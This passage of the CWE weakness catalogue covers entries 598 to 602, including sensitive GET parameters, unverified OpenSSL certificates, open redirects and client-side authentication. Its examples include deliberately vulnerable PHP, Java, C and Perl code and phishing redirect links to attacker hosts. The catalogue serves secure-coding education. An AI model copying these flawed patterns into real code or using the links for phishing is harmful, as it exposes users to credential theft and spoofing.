*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	480	Use of Incorrect Operator	1087
ChildOf	V	595	Comparison of Object References Instead of Object Contents	1256

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf	V	595	Comparison of Object References Instead of Object Contents	1256

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	133	String Errors	2101

### Common Consequences

Scope	Impact	Likelihood
Other	Other	

### Potential Mitigations

#### Phase: Implementation

Within Java, use `.equals()` to compare string values. Within JavaScript, use `==` to compare string values. Within PHP, use `==` to compare a numeric value to a string value. (PHP converts the string to a number.)

*Effectiveness = High*

### Demonstrative Examples

#### Example 1:

In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.

*Example Language: Java*

*(Bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the `=="` operator. For Java objects, such as String objects, the `=="` operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the `System.out.println` statement will not be executed. To compare object values, the previous code could be modified to use the `equals` method:

*Example Language:*

*(Good)*

```
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

#### Example 2:

In the example below, three JavaScript variables are declared and initialized with the same values. Note that JavaScript will change a value between numeric and string as needed, which is the reason an integer is included with the strings. An if statement is used to determine whether the values are the same.

Example Language: JavaScript

(Bad)

```

<p id="ieq3s1" type="text">(i === s1) is FALSE</p>
<p id="s4eq3i" type="text">(s4 === i) is FALSE</p>
<p id="s4eq3s1" type="text">(s4 === s1) is FALSE</p>
var i = 65;
var s1 = '65';
var s4 = new String('65');
if (i === s1)
{
  document.getElementById("ieq3s1").innerHTML = "(i === s1) is TRUE";
}
if (s4 === i)
{
  document.getElementById("s4eq3i").innerHTML = "(s4 === i) is TRUE";
}
if (s4 === s1)
{
  document.getElementById("s4eq3s1").innerHTML = "(s4 === s1) is TRUE";
}

```

However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails. The types in the second are int and reference, so this one fails as well. The types in the third are reference and string, so it also fails.

While the variables above contain the same values, they are contained in different types, so the document.getElementById... statement will not be executed in any of the cases.

To compare object values, the previous code is modified and shown below to use the "==" for value comparison so the comparison in this example executes the HTML statement:

Example Language: JavaScript

(Good)

```

<p id="ieq2s1" type="text">(i == s1) is FALSE</p>
<p id="s4eq2i" type="text">(s4 == i) is FALSE</p>
<p id="s4eq2s1" type="text">(s4 == s1) is FALSE</p>
var i = 65;
var s1 = '65';
var s4 = new String('65');
if (i == s1)
{
  document.getElementById("ieq2s1").innerHTML = "(i == s1) is TRUE";
}
if (s4 == i)
{
  document.getElementById("s4eq2i").innerHTML = "(s4 == i) is TRUE";
}
if (s4 == s1)
{
  document.getElementById("s4eq2s1").innerHTML = "(s4 == s1) is TRUE";
}

```

**Example 3:**

In the example below, two PHP variables are declared and initialized with the same numbers - one as a string, the other as an integer. Note that PHP will change the string value to a number for a comparison. An if statement is used to determine whether the values are the same.

Example Language: PHP

(Bad)

```

var $i = 65;
var $s1 = "65";
if ($i === $s1)
{

```

```

    echo '($i === $s1) is TRUE'. "\n";
}
else
{
    echo '($i === $s1) is FALSE'. "\n";
}

```

However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails.

While the variables above contain the same values, they are contained in different types, so the TRUE portion of the if statement will not be executed.

To compare object values, the previous code is modified and shown below to use the "==" for value comparison (string converted to number) so the comparison in this example executes the TRUE statement:

Example Language: PHP

(Good)

```

var $i = 65;
var $s1 = "65";
if ($i == $s1)
{
    echo '($i == $s1) is TRUE'. "\n";
}
else
{
    echo '($i == $s1) is FALSE'. "\n";
}

```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
MemberOf		847	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)	844	2156
MemberOf		998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf		1136	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)	1133	2238
MemberOf		1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2259

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	EXP03-J		Do not use the equality operators when comparing values of boxed primitives
The CERT Oracle Secure Coding Standard for Java (2011)	EXP03-J		Do not use the equality operators when comparing values of boxed primitives
SEI CERT Perl Coding Standard	EXP35-PL	CWE More Specific	Use the correct operator type for comparing values
Software Fault Patterns	SFP1		Glitch in computation

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-598: Use of GET Request Method With Sensitive Query Strings

**Weakness ID** : 598

**Structure** : Simple

**Abstraction** : Variant

### Description

The web application uses the HTTP GET method to process a request and includes sensitive information in the query string of that request.

### Extended Description

The query string for the URL could be saved in the browser's history, passed through Referers to other web sites, stored in web logs, or otherwise recorded in other sources. If the query string contains sensitive information such as session identifiers, then attackers can use this information to launch further attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		201	Insertion of Sensitive Information Into Sent Data	493

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
	<i>At a minimum, attackers can garner information from query strings that can be utilized in escalating their method of attack, such as information about the internal workings of the application or database column names. Successful exploitation of query string parameter vulnerabilities could lead to an attacker impersonating a legitimate user, obtaining proprietary data, or simply executing actions not intended by the application developers.</i>	

### Potential Mitigations

#### Phase: Implementation

When sensitive information is sent, use the POST method (e.g. registration form).

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2131
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

Nature	Type	ID	Name	V	Page
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

## CWE-599: Missing Validation of OpenSSL Certificate

**Weakness ID** : 599

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses OpenSSL and trusts or uses a certificate without using the `SSL_get_verify_result()` function to ensure that the certificate satisfies all necessary security requirements.

### Extended Description

This could allow an attacker to use an invalid certificate to claim to be a trusted host, use expired certificates, or conduct other attacks that could be detected if the certificate is properly validated.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	295	Improper Certificate Validation	677

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	2222

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>The data read may not be properly secured, it might be viewed by an attacker.</i>	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity <i>Trust afforded to the system in question may allow for spoofing or redirection attacks.</i>	
Access Control	Gain Privileges or Assume Identity <i>If the certificate is not checked, it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data under the guise of a trusted host. While the attacker in question may have a valid certificate, it may simply be a valid certificate for a different site. In order to ensure data integrity, we must</i>	

Scope	Impact	Likelihood
	check that the certificate is valid, and that it pertains to the site we wish to access.	

## Potential Mitigations

### Phase: Architecture and Design

Ensure that proper authentication is included in the system design.

### Phase: Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

## Demonstrative Examples

### Example 1:

The following OpenSSL code ensures that the host has a certificate.

Example Language: C

(Bad)

```
if (cert = SSL_get_peer_certificate(ssl)) {
    // got certificate, host can be trusted
    //foo=SSL_get_verify_result(ssl);
    //if (X509_V_OK==foo) ...
}
```

Note that the code does not call `SSL_get_verify_result(ssl)`, which effectively disables the validation step that checks the certificate.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	948	SFP Secondary Cluster: Digital Certificate	888	2188

## Notes

### Relationship

CWE-295 and CWE-599 are very similar, although CWE-599 has a more narrow scope that is only applied to OpenSSL certificates. As a result, other children of CWE-295 can be regarded as children of CWE-599 as well. CWE's use of one-dimensional hierarchical relationships is not well-suited to handle different kinds of abstraction relationships based on concepts like types of resources ("OpenSSL certificate" as a child of "any certificate") and types of behaviors ("not validating expiration" as a child of "improper validation").

## CWE-600: Uncaught Exception in Servlet

**Weakness ID :** 600

**Structure :** Simple

**Abstraction :** Base

### Description

The Servlet does not catch all exceptions, which may reveal sensitive debugging information.

### Extended Description

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker.



For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>B</b>	248	Uncaught Exception	566
PeerOf	<b>B</b>	390	Detection of Error Condition Without Action	893
CanPrecede	<b>B</b>	209	Generation of Error Message Containing Sensitive Information	510

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	389	Error Conditions, Return Values, Status Codes	2115

## Alternate Terms

**Missing Catch Block :**

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Availability	DoS: Crash, Exit, or Restart	

## Potential Mitigations

**Phase: Implementation**

Implement Exception blocks to handle all types of Exceptions.

## Demonstrative Examples

**Example 1:**

The following example attempts to resolve a hostname.

*Example Language: Java*

*(Bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

A DNS lookup failure will cause the Servlet to throw an exception.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<b>V</b>	Page
MemberOf	<b>C</b>	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2158

Nature	Type	ID	Name	V	Page
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2193

Notes

Maintenance

The "Missing Catch Block" concept is probably broader than just Servlets, but the broader concept is not sufficiently covered in CWE.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	ERR01-J		Do not allow exceptions to expose sensitive information
Software Fault Patterns	SFP4		Unchecked Status Condition

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

Weakness ID : 601

Structure : Simple

Abstraction : Base

Description

A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.

Extended Description

An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	610	Externally Controlled Reference to a Resource in Another Sphere	1285


*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	G	610	Externally Controlled Reference to a Resource in Another Sphere	1285

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		19	Data Processing Errors	2101

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Based (*Prevalence = Undetermined*)

### Background Details

Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft.

### Alternate Terms

**Open Redirect** :

**Cross-site Redirect** :

**Cross-domain Redirect** :

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.</i>	
Access Control Confidentiality Other	Bypass Protection Mechanism Gain Privileges or Assume Identity Other  <i>The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site.</i>	

### Detection Methods

#### Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

*Effectiveness = High*

#### Automated Dynamic Analysis

Automated black box tools that supply URLs to every input may be able to spot Location header modifications, but test case coverage is a factor, and custom redirects may not be detected.

#### Automated Static Analysis

Automated static analysis tools may not be able to determine whether input influences the beginning of a URL, which is important for reducing false positives.

### Other

Whether this issue poses a vulnerability will be subject to the intended behavior of the application. For example, a search engine might intentionally provide redirects to arbitrary URLs.

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = High*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer

*Effectiveness = High*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections)

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which

inputs are so malformed that they should be rejected outright. Use a list of approved URLs or domains to be used for redirection.

#### Phase: Architecture and Design

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

#### Phase: Architecture and Design

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

#### Phase: Architecture and Design

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).

#### Phase: Architecture and Design

#### Phase: Implementation

*Strategy = Attack Surface Reduction*

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.

#### Phase: Operation

*Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

*Effectiveness = Moderate*

*An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.*

### Demonstrative Examples

#### Example 1:

The following code obtains a URL from the query string and then redirects the user to that URL.

*Example Language: PHP*

*(Bad)*

```
$redirect_url = $_GET['url'];  
header("Location: " . $redirect_url);
```

The problem with the above code is that an attacker could use this page as part of a phishing scam by redirecting users to a malicious site. For example, assume the above code is in the file `example.php`. An attacker could supply a user with the following link:

Example Language:

(Attack)

```
http://example.com/example.php?url=http://malicious.example.com
```

The user sees the link pointing to the original trusted site (`example.com`) and does not realize the redirection that could take place.

### Example 2:

The following code is a Java servlet that will receive a GET request with a `url` parameter in the request to redirect the browser to the address specified in the `url` parameter. The servlet will retrieve the `url` parameter value from the request and send a response to redirect the browser to the `url` address.

Example Language: Java

(Bad)

```
public class RedirectServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
    {
        String query = request.getQueryString();
        if (query.contains("url")) {
            String url = request.getParameter("url");
            response.sendRedirect(url);
        }
    }
}
```

The problem with this Java servlet code is that an attacker could use the `RedirectServlet` as part of an e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

Example Language: HTML

(Attack)

```
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>
```

The user may assume that the link is safe since the URL starts with their trusted bank, `bank.example.com`. However, the user will then be redirected to the attacker's web site (`attacker.example.net`) which the attacker may have made to appear very similar to `bank.example.com`. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

### Observed Examples

Reference	Description
<b>CVE-2005-4206</b>	URL parameter loads the URL into a frame and causes it to appear to be part of a valid page. <a href="https://www.cve.org/CVERecord?id=CVE-2005-4206">https://www.cve.org/CVERecord?id=CVE-2005-4206</a>
<b>CVE-2008-2951</b>	An open redirect vulnerability in the search script in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL as a parameter to the proper function. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2951">https://www.cve.org/CVERecord?id=CVE-2008-2951</a>
<b>CVE-2008-2052</b>	Open redirect vulnerability in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the proper parameter. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2052">https://www.cve.org/CVERecord?id=CVE-2008-2052</a>

Reference	Description
<b>CVE-2020-11053</b>	Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601) <a href="https://www.cve.org/CVERecord?id=CVE-2020-11053">https://www.cve.org/CVERecord?id=CVE-2020-11053</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf	<b>C</b>	801	2010 Top 25 - Insecure Interaction Between Components	800	2147
MemberOf	<b>C</b>	819	OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards	809	2153
MemberOf	<b>C</b>	864	2011 Top 25 - Insecure Interaction Between Components	900	2164
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	938	OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards	928	2186
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	<b>C</b>	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280
MemberOf	<b>C</b>	1382	ICS Operations (& Maintenance): Emerging Energy Technologies	1358	2308

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	38		URI Redirector Abuse
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
178	Cross-Site Flashing

### References

[REF-483]Craig A. Shue, Andrew J. Kalafut and Minaxi Gupta. "Exploitable Redirects on the Web: Identification, Prevalence, and Defense". < <http://www.cs.indiana.edu/cgi-pub/cshue/research/woot08.pdf> >.

[REF-484]Russ McRee. "Open redirect vulnerabilities: definition and prevention". Issue 17. (IN)SECURE. 2008 July. < <http://www.net-security.org/dl/insecure/INSECURE-Mag-17.pdf> >.

[REF-485]Jason Lam. "Top 25 Series - Rank 23 - Open Redirect". 2010 March 5. SANS Software Security Institute. < <http://software-security.sans.org/blog/2010/03/25/top-25-series-rank-23-open-redirect> >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

## CWE-602: Client-Side Enforcement of Server-Side Security

Weakness ID : 602



**Structure** : Simple  
**Abstraction** : Class

## Description

The product is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.

## Extended Description

When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms, resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
ParentOf	B	565	Reliance on Cookies without Validation and Integrity Checking	1209
ParentOf	B	603	Use of Client-Side Authentication	1275
PeerOf	B	290	Authentication Bypass by Spoofing	668
PeerOf	C	300	Channel Accessible by Non-Endpoint	692
PeerOf	B	836	Use of Password Hash Instead of Password for Authentication	1639
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	1060

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	2220

## Weakness Ordinalities

**Primary** :

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Availability	DoS: Crash, Exit, or Restart	
<p><i>Client-side validation checks can be easily bypassed, allowing malformed or unexpected input to pass into the application, potentially as trusted data. This may lead to</i></p>		

Scope	Impact	Likelihood
	<i>unexpected states, behaviors and possibly a resulting crash.</i>	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.</i>	

## Potential Mitigations

### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

### Phase: Architecture and Design

If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

### Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

## Demonstrative Examples

### Example 1:

This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)

*Example Language: Perl*

*(Good)*

```
$server = "server.example.com";
$username = AskForUserName();
$password = AskForPassword();
$address = AskForAddress();
$sock = OpenSocket($server, 1234);
writeSocket($sock, "AUTH $username $password\n");
```

```

$resp = readSocket($sock);
if ($resp eq "success") {
    # username/pass is valid, go ahead and update the info!
    writeSocket($sock, "CHANGE-ADDRESS $username $address\n");
}
else {
    print "ERROR: Invalid Authentication!\n";
}

```

SERVER-SIDE (server.pl):

Example Language:

(Bad)

```

$sock = acceptSocket(1234);
($cmd, $args) = ParseClientRequest($sock);
if ($cmd eq "AUTH") {
    ($username, $pass) = split(/\s+/, $args, 2);
    $result = AuthenticateUser($username, $pass);
    writeSocket($sock, "$result\n");
    # does not close the socket on failure; assumes the
    # user will try again
}
elsif ($cmd eq "CHANGE-ADDRESS") {
    if (validateAddress($args)) {
        $res = UpdateDatabaseRecord($username, "address", $args);
        writeSocket($sock, "SUCCESS\n");
    }
    else {
        writeSocket($sock, "FAILURE -- address is malformed\n");
    }
}

```

The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.

### Example 2:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used client-side authentication in their OT products.

### Observed Examples

Reference	Description
<b>CVE-2022-33139</b>	SCADA system only uses client-side authentication, allowing adversaries to impersonate other users. <a href="https://www.cve.org/CVERecord?id=CVE-2022-33139">https://www.cve.org/CVERecord?id=CVE-2022-33139</a>
<b>CVE-2006-6994</b>	ASP program allows upload of .asp files by bypassing client-side checks. <a href="https://www.cve.org/CVERecord?id=CVE-2006-6994">https://www.cve.org/CVERecord?id=CVE-2006-6994</a>
<b>CVE-2007-0163</b>	steganography products embed password information in the carrier file, which can be extracted from a modified client. <a href="https://www.cve.org/CVERecord?id=CVE-2007-0163">https://www.cve.org/CVERecord?id=CVE-2007-0163</a>

Reference	Description
<b>CVE-2007-0164</b>	steganography products embed password information in the carrier file, which can be extracted from a modified client. <a href="https://www.cve.org/CVERecord?id=CVE-2007-0164">https://www.cve.org/CVERecord?id=CVE-2007-0164</a>
<b>CVE-2007-0100</b>	client allows server to modify client's configuration and overwrite arbitrary files. <a href="https://www.cve.org/CVERecord?id=CVE-2007-0100">https://www.cve.org/CVERecord?id=CVE-2007-0100</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf	<b>C</b>	753	2009 Top 25 - Porous Defenses	750	2146
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	975	SFP Secondary Cluster: Architecture	888	2199
MemberOf	<b>C</b>	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
